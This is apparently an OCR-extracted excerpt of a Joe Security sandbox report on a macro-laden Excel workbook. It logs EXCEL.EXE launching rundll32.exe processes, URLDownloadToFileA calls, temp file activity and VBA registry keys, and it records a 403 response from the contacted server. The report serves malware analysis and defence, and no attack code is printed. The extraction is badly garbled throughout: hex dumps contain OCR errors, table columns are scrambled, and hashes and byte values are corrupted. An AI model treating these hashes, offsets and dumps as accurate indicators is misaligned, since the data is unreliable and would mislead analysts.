Server: nginx

Date: Thu, 01 Apr 2021 19:53:43 GMT

Content-Type: text/html

Content-Length: 548

Connection: keep-alive

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64
64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢C 79
2065 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61
62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20
2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64
20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20
70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6
e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64
69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61
67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20
61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disab
le MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to
disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a
padding to disable MSIE and Chrome friendly error page -->
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Code Manipulations

Statistics

Behavior

System Behavior

Click to jump to process

@ EXCEL.EXE
@ rundl32.exe
@ rundll32.exe
@ rundll32.exe

Analysis Process: EXCEL.EXE PID: 2284 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

21:53:35

01/04/2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

false

‘C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE' /automation -Embedding
0x13f4c0000

27641504 bytes

5FBOAOF93382ECD19F5F499A5CAAS9F0

true

true

C, C++ or other language

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\CDOF.tmp read attributes | device synchronous io  success or wait 1 13F80EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\7FCE0000 read attributes | device synchronous io  success or wait 1 7TFEEA9E9ACO unknown

synchronize |
generic read |
generic write

Copyright Joe Security LLC 2021

non alert | non
directory file |
open no recall
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File Path
C:\Users\user\Desktop\~$91476525608-04012021.xIsm

C:\Users\user\Desktop\20DE0000

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Local\Temp\4CBA.tmp

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\CDOF.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv

Copyright Joe Security LLC 2021

Access

read attributes | device
delete | syn

chronize |

generic read |

generic write

read attributes | device
synchronize |
generic read |
generic write

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic read

Attributes

Options

synchronous io
non alert | non
directory file |
delete on close
| open no recall

synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Completion

success or wait 1
success or wait 1
object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

success or wait 1

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count

Source
Address

7FEEA9E9SACO

7FEEA9ESACO

1401E828C

1401E828C

1401E828C

1401E828C

1401E828C

1401E828C

1401E828C

1401E828C

1401E828C

13F80EC83

Symbol

unknown

unknown

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

GetTempFileNameW

Source

Count Address

P R R R R R R R

13FA7B818

Symbol
DeleteFileW

7FEEA9E9ACO unknown
7FEEA9E9ACO unknown
7FEEA9E9ACO unknown
7FEEA9E9ACO unknown
7FEEA9E9ACO unknown
7FEEA9E9ACO unknown
7FEEA9E9ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\4CBA.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\7FCE0000
C:\Users\user\Desktop\20DE0000
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htm
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path
C:\Users\user\Desktop\~$91476525608-04012021.xIsm

C:\Users\user\Desktop\~$91476525608-04012021.xIsm

Copyright Joe Security LLC 2021

Offset

unknown 55

unknown 110

Completion

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv
C:\Users\user\Desktop\91476525608-04012021.xIsm
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htmss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Length Value Ascii

0541 6¢ 62757320 .user
20202020 20 20 20

2020 20 20 20 20 20

2020 20 20 20 20 20
202020 20 20 20 20
202020 20 20 20 20

2020 20 20 20 20 20
2020 20 20 20 20

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

VAlbuso oo

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

. success or wait

Count Address

1
1

Source

Symbol

TFEEA9E9ACO unknown

13FA7B818

Count

P PR R R R R R R R R R R R

Count

1

1

Source
Address

7FEEA9E9SACO
7FEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7FEEA9E9ACO
7FEEA9E9ACO
7FEEA9E9ACO
7FEEA9E9ACO
7FEEA9E9ACO
7FEEA9E9ACO
7FEEA9E9ACO

Source
Address

13F70F526

13F70F591

DeleteFileW

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol
WriteFile

WriteFile
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File Path
C:\Users\user\AppData\Local\Temp\7FCE0000

C:\Users\user\AppData\Local\Temp\7FCE0000
C:\Users\user\AppData\Local\Temp\7FCE0000

Copyright Joe Security LLC 2021

Offset
569

1039

Length Value

470

2
569

¢4 55 cb 6e db 30 10
bc 17 e8 3f 08 bc 16
229d 14 288ac2 72
Oe 69 7a 6¢ 03 24 fd
00 9a 5¢ 49 8¢ f9 02
c9 38 f6 df 77 49 3b

45 2f 6a 67 76 86 c4
ec f4 66 65 74 b5 84
1095 b3 0d b9 a2 13
52 81 15 4e 2a db 35
e4 f7 e3 8f fa 2b a9
62 e256 72 ed 2c 34
64 0d 91 dc cc 3e 7e
98 3e ae 3d c4 Oa ab
6d 6¢ 48 9f 92 ff c6
58 14 3d 18 1e a9 f3
60 71 a5 75 c1 f0 84
af al 63 9e 8b 05 ef
80 5d 4f 26 5f 98 70
36 81 4d 75 ca 18 64
36 fd Oe 2d 7f d6 a9
bab5bele74d 2773
65 49 75 bb f9 2f 53
35 84 7b af 95 e0 09
1b 65 4b 2b Of 48 6a
d7 b6 4a 80 74 e2 d9
20 34 8d 3e 00 97 bl
07 48 46 53 1f 14 32
86 07 48 09 85 45 c2
8e 7206 d0 71 1c e9
56 15 c5ca d2 58 ec
95 8f 9f 50 fa 09 86
bc 72 5a d5 €9 ba 4e
b5 07 75 ca 64 37 f3
77 d4 f2 0b 37 30 28
09 d5 3d

03 00

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
78 9b 12 e2 d8 01 00

00 b1 07 00 00 1300 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

6573 5d 2e 78 6d 6¢C ...
20a2040228a000 ...
02 000000000000 ...

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Ascii

.U.n0...2.." . (.rizl$...
\l....8..wl;vk.....E/jgv....fe
to......RUN*5L+.D.VE,

4d...>~>=.mlH...X. =0
c.....]|0&_.p6.Mu..d6.
—..[.M'selu../S5{.....eK+.
76 6b d8 96 85 04 e8 Hj..J.t.. 4.>...HFS..2..H..E.

g.u...

r.g.V... X...P...rZ..N..
u.d7.w...70(..=

PK..oeene [ SRR
[Content_Types].xml ...

Completion

success or wait

success or wait

success or wait

Count Address

21

22
23

Source
Symbol

7TFEEA9E9ACO unknown

7TFEEA9E9ACO unknown
7TFEEA9E9ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\7FCE0000

C:\Users\user\AppData\Local\Temp\7FCE0000

Copyright Joe Security LLC 2021

Offset
6874

13210

Length Value

4096

65536

ec5b0d 70 5c d5 75 .[.p\.u....Zm,...c..YVV..%..h. success or wait
..20%.d)..J....K........ M.1
..6......-..6..6.@+w..C...Ol..
@92....9.L&e..W..}......q.+...
w.9.w..=....y.T.[$..,.\
[f.K.zr0&. |...t.. ........Z.

be ef ed ca 5a 6d 2c
b3 92 85 63 cb b2 59
56 76 90 8d 25 de fe
68 b5 02 84 b5 3f 6f
2583642912 1802
4ae4 954 8¢c 17 4b
bb f2 ee ca c8 80 ed
95 4d 83 49 93 d6 36
84 10 92 a6 b8 09 2d
€394 36 c6 9d 36 €9
40 2b 77 da Oc 43 da
89 01 4f 49 98 b6 40
71 32 b4 9d b4 e6 67
d2 4c 26 65 fb 9d 77
df dd 7d bb 92 ec 95
12 a6 71 93 2b 7f ef
9e 77 ee 39 f7 9e 77
7f ce 3d ef be f5 d9 ef
d5 bc 79 f2 54 fd 5b
ac 24 dd c4 2c ec c3
5c 15 5b 66 e2 4b a0
09 7a 72 30 26 83 20
7c 98 cb e574 1e 2e
20 7f 93 2e a3 1e f8
1f d8 52 89 71 bb 12
b0 02 15 00 8d b9 0d
58 Oe 54 01 76 €0 63
40 35 b0 06 58 01 5¢
01 3880 1a a0 16 58
09 d4 01 ab 00 9a Of
1f 47 be 1a a8 37 ee
d7 1af9 65 d4 35 bf
16 a6 Oe b0 24 fe 32
cc c9 54 96 40 9e 62
fb 3152 e5 a7 55 98
31a2

47 49 46 38 39 61 40
06 40 06 70 00 00 21
f9 04 01 00 00 fc 00
2c 00 00 00 00 40 06
40 06 87 00 00 00 00
00 33 00 00 66 00 00
99 00 00 cc 00 00 ff
00 2b 00 00 2b 33 00
2b 66 00 2b 99 00 2b
cc 00 2b ff 00 55 00
00 55 33 00 55 66 00
5599 00 55 cc 00 55
ff 00 80 00 00 80 33
00 80 66 00 80 99 00
80 cc 00 80 ff 00 aa
00 00 aa 33 00 aa 66
00 aa 99 00 aa cc 00
aa ff 00 d5 00 00 d5
3300 d5 66 00 d5 99
00 d5 cc 00 d5 ff 00
ff 00 00 ff 33 00 ff 66
00 ff 99 00 ff cc 00 ff
ff 33 00 00 33 00 33
3300 66 33 00 99 33
00 cc 33 00 ff 33 2b
00 33 2b 33 33 2b 66
332b 99 33 2b cc 33
2b ff 33 55 00 33 55
33335566 33 5599
33 55 cc 33 55 ff 33
80 00 33 80 33 33 80
66 33 80 99 33 80 cc
33 80 ff 33 aa 00 33
aa 33 33 aa 66 33 aa
99 33 aa cc 33 aa ff
33d500 33 d5 3333
ds

Ascii

GIF892@.@.p..!
@..c..3.f.

B-clloococomeonmsen 3.f
R B — 3.f.

....... GEGISSIONS NI S
33+f3+.3+.3+.3U.3U33Uf3

U.3U.3U

AR5, SRR,

.3..3..3..3.33.

Completion

....... ,....@. success or wait
+. 434+
L+ +.ULU3.URULULU. ...

Count Address

2

8

Source
Symbol

7TFEEA9E9ACO unknown

TFEEA9E9ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\7FCE0000

C:\Users\user\Desktop\~$91476525608-04012021.xIsm

C:\Users\user\Desktop\~$91476525608-04012021.xIsm

C:\Users\user\Desktop\20DE0000

Copyright Joe Security LLC 2021

Offset

176072 1639

unknown 55

unknown 110

1039

Length Value

2

13 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 5b 43 6f
6e 74 65 6e 74 5f 54
7970 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
0000 11 04 00 00 5f
72 65 6¢ 73 2f 2e 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 30 5f
89 c9 48 01 00 00 4d
05 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 37 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
23 a5 1b ee 30 02 00
00 f1 03 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 bf 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

0541 6¢ 62 7573 20
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

03 00

Ascii

IsPK J
.............. 7..xI/_rels/wor
kbook.xml.relsPK..-
H#.Oeice
xl/workbook.xml

.user

VAlbuso oo

Completion

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

22

7TFEEA9E9ACO unknown

13F70F526 WriteFile

13F70F591 WriteFile

TFEEA9E9ACO unknown
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File Path
C:\Users\user\Desktop\20DE0000

C:\Users\user\Desktop\20DE0000

Copyright Joe Security LLC 2021

Offset
0

1602

Length Value

569

243

Ascii

504b 03 04 14 00 06 PK.......... [ SRR
00 08 00 00 00 21 00 [Content_Types].xml ...

78 9b 12 €2 d8 01 00 (

00 b1 0700001300 ...

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20a2040228a000 ...

02 00 00 00 000000 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Completion

success or wait

8c 92 cf4ec3300c ..N.0...H.C..nH...LH.IT..$. success or wait

c6 ef 48 bc 43 e4 tb
ea6e 4808 al a5bb (;
4c 48 bb 21 54 1e cO

..$@....Jc.....2[..iT..b/IN..
A.3b{.jx..V..b"gi.....aW..|
Xooboos #b4.0....r..0Q

24 ee 1fb58d a3 24 .ah..e..=.P-<.j.f.><

407 f6 84 0382 4a .
63 db d1 f6 e7 cf 3f
5b de ee e6 69 54 1f .
1c 62 2f 4e c3 ba 28
41 b1 3362 7b d7 6a
78 ad 9f 56 0f a0 62
22 67 69 14 c7 1a 8e
1c 61 57 dd de 6¢ 5f
78 a4 94 9b 62 d7 fb
a8 b2 8b 8b 1a ba 94
fc 23 62 34 1d 4f 14
Ob f1 ec 72 a5 91 30
51 ca 61 68 d1 93 19
a8 65 dc 94 e5 3d 86
bf 1e 50 2d 3c d5 c1
6a 08 07 7b 07 aa 3e
fa 3c f9 b2 b7 34 4d

6f 78 2f e6 7d 62 97
4e 8c 40 9e 133bcb
76 €5 43 66 0b a9 cf
db a8 9a 42 cb 49 83
15f39c d3 11 c9 fb

22 63 03 9e 26 da 5¢
4f 4 ff b6 38 71 22

4b 89 d0 48 €0 f3 3¢
df 8a 73 40 eb eb 81
2e 9f 68 a9 f8 bd ce
3ce2 a7 84 el 4d 64
8 61 c1 c5 Of 54 5f

00 00 00 ff ff

AMox/.}b.N.@..

olboroces "c..&\0...8q"K..H..<

S@....h...<.Md.a.T_..

Source

Count Address Symbol

22

20

7TFEEA9E9ACO unknown

7TFEEA9E9ACO unknown
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File Path
C:\Users\user\Desktop\20DE0000

C:\Users\user\Desktop\20DE0000

Copyright Joe Security LLC 2021

Offset
6874

13211

Length Value

4096

65536

ec5b0d 70 5c d5 75 .[.p\.u....Zm,...c..YVV..%..h. success or wait
....O2H."LDNLX.+.... 4.4
imC.%i...2Lic.i...r..0........

S.m'. 4L~ ww..${.$m...w
{2 ?2y.mVina. Q. -
3.%..=8..A.>

be ef ed ca 5a 6d 2c
b3 92 85 63 cb b2 59
56 76 90 8d 25 de fe
68 b5 02 84 5 {6 4f
324896 228121a0
44 5e 49 cf 78 b1 b4
2b ef ae 8c Oc d8 5e
d9 34 98 34 69 6d 43
09 25 69 8a 9b d0 32
4c 69 63 dc 69 93 Oe
b4 72 a7 cd 30 a4 9d
18 fO Oc 09 d3 16 53
9c Oc 6d 27 ad f9 99
349349d9 7e e7 dd
77 77 df ae 24 7b a5
24 6d dc e4 ae be 77
cf 3b f7 9e 7b cf bb 3f
e7 9e 7b df d3 d9 ef
d4 9c 3f 79 aa fe 6d
56 12 6e 61 16 f6 51
ae 8a 2d 33 f1 25 dO
04 3d 38 18 9341 10
3ecae5723a0f17
90 bf 0Oe 57 50 0b fc
37 74 ad 44 bf 5d 0d
58 81 0a 80 fa dc 06
2c 07 aa 00 3b f0 31
a0 1a 58 03 ac 00 ae
02 1c 40 0d 50 Ob ac
04 ea 80 55 00 8d 87
8f 23 5e 0d d4 1b 7
6b 8d f8 Oa 6a 9a 5f
09 55 07 58 12 bf Oc
73 b2 08 4b 20 4e bl
fd e8 a9 f2 c3 2a 8c
18 d1

47 49 46 38 39 61 40
06 40 06 70 00 00 21
f9 04 01 00 00 fc 00
2c 00 00 00 00 40 06
40 06 87 00 00 00 00
00 33 00 00 66 00 00
99 00 00 cc 00 00 ff
00 2b 00 00 2b 33 00
2b 66 00 2b 99 00 2b
cc 00 2b ff 00 55 00
00 55 33 00 55 66 00
5599 00 55 cc 00 55
ff 00 80 00 00 80 33
00 80 66 00 80 99 00
80 cc 00 80 ff 00 aa
00 00 aa 33 00 aa 66
00 aa 99 00 aa cc 00
aa ff 00 d5 00 00 d5
3300 d5 66 00 d5 99
00 d5 cc 00 d5 ff 00
ff 00 00 ff 33 00 ff 66
00 ff 99 00 ff cc 00 ff
ff 33 00 00 33 00 33
3300 66 33 00 99 33
00 cc 33 00 ff 33 2b
00 33 2b 33 33 2b 66
332b 99 33 2b cc 33
2b ff 33 55 00 33 55
33335566 33 5599
33 55 cc 33 55 ff 33
80 00 33 80 33 33 80
66 33 80 99 33 80 cc
33 80 ff 33 aa 00 33
aa 33 33 aa 66 33 aa
99 33 aa cc 33 aa ff
33d500 33 d5 3333
ds

Ascii

GIF892@.@.p..!
@..c..3.f.

B-clloococomeonmsen 3.f
R B — 3.f.

....... GEGISSIONS NI S
33+f3+.3+.3+.3U.3U33Uf3

U.3U.3U

AR5, SRR,

.3..3..3..3.33.

Completion

....... ,....@. success or wait
+. 434+
L+ +.ULU3.URULULU. ...

Source

Count Address Symbol

2

8

7TFEEA9E9ACO unknown

TFEEA9E9ACO unknown

Page 29 of 42



Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Desktop\20DE0000 176073 1639 success or wait 1 7FEEA9E9ACO unknown
13 00 00 00 00 00 00 IsPK. .0_.
00 00 00 00 0000 00 .......c..... 7..xI/_rels/wor
00 00 00 00 5b 43 6f kbook.xml.relsPK..-
6e 74 65 6e 74 554 #..0...cccoeiiiiiinnn.
7970 65 73 5d 2e 78 xl/workbook.xml
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
23500 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 11 04 00 00 5f
72 65 6¢ 73 2f 2e 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 30 5f
89 ¢c9 48 01 00 00 4d
05 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 37 07 00 00
78 6¢ 2f 5f 72 65 6C
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
23 a5 1b ee 30 02 00
00 f1 03 00 00 0f 00
00 00 00 00 00 00 00
00 00 00 00 00 bf 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6C
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 1 7FEEA9E9ACO unknown
Files\Content. MSO\F5AD18CF.gif
C:\Users\user\Desktop\91476525608-04012021.xIsm unknown 8 success or wait 1 7FEEA9E9ACO unknown
C:\Users\user\Desktop\91476525608-04012021.xIsm 0 8 pending 1 7FEEA9E9ACO unknown
C:\Users\user\Desktop\91476525608-04012021.xIsm 1041 41 pending 1 7FEEA9E9ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 800 4096 success or wait 1 7FEEA9E9ACO unknown
Files\Content. MSO\F5AD18CF.gif
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 1 7FEEA9E9ACO unknown
Files\Content. MSO\F5AD18CF.gif
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 800 4096 success or wait 1 7FEEA9E9ACO unknown
Files\Content. MSO\F5AD18CF.gif
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 1 7FEEA9E9ACO unknown
Files\Content. MSO\F5AD18CF.gif
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEEA9FE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEEA9FE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEEA9FE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7TFEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 6 7FEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 6 7FEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ECD3E success or wait 1 7FEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ECE76 success or wait 1 7TFEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ECF31 success or wait 1 7FEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ECFEC success or wait 1 7FEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED069 success or wait 1 7FEEA9E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems success or wait 1 7FEEA9E9ACO unknown
